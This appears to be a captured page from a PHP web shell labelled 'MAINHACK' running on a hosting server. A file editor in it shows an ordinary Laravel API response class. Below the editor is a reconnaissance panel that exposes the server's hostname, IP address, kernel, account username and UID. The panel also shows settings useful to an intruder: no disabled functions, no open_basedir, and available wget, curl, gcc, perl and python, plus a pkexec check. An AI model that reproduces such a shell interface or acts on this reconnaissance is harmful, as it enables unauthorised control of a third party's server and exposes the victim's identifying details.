[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Response.php
<?php namespace App\Api; class Response { private $status; private $data; private $msg; private $success; public function apiResponse($success, $msg = null, $data = null, $http_status = null) { $this->success = $success; $this->msg = $msg; $this->data = $data; $json = ['message' => $msg, 'success' => $this->getSuccess()]; if (isset($data)) { $json['data'] = $data; } return response()->json($json); } public function apiResponse2($success, $status, $msg, $data = null,$title=null) { $this->success = $success; $this->msg = $msg; $this->status = $status; $this->data = $data; $json = ['success' => $this->getSuccess(), 'status' => $this->getStatus(), 'message' => $this->getMsg()]; if (isset($title)) { $json['title'] = $title; } if (isset($data)) { $json['data'] = $data; } return response()->json($json,200,[],JSON_INVALID_UTF8_IGNORE|JSON_INVALID_UTF8_SUBSTITUTE); } public function returnData($data) { return ['count' => $data->count(), 'data' => $data]; } public function getStatus() { switch ($this->status) { case 'list': return 'list'; case 'passed' : return 'passed'; case 'max-attempt' : return 'max-attempt'; case 'validation_error' : return 'validation_error' ; case "no_meeting": return 'no_meeting' ; case "disabled": return 'disabled' ; case "invalid": return 'invalid' ; default: return $this->status ; } } public function getSuccess() { switch ($this->success) { case 1: return true; case 0 : return false; } } public function getMsg() { if (!$this->msg) { switch ($this->getSuccess()) { case 'list': return 'data reitrived successfully'; case 0 : return 'failed'; } } return $this->msg; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285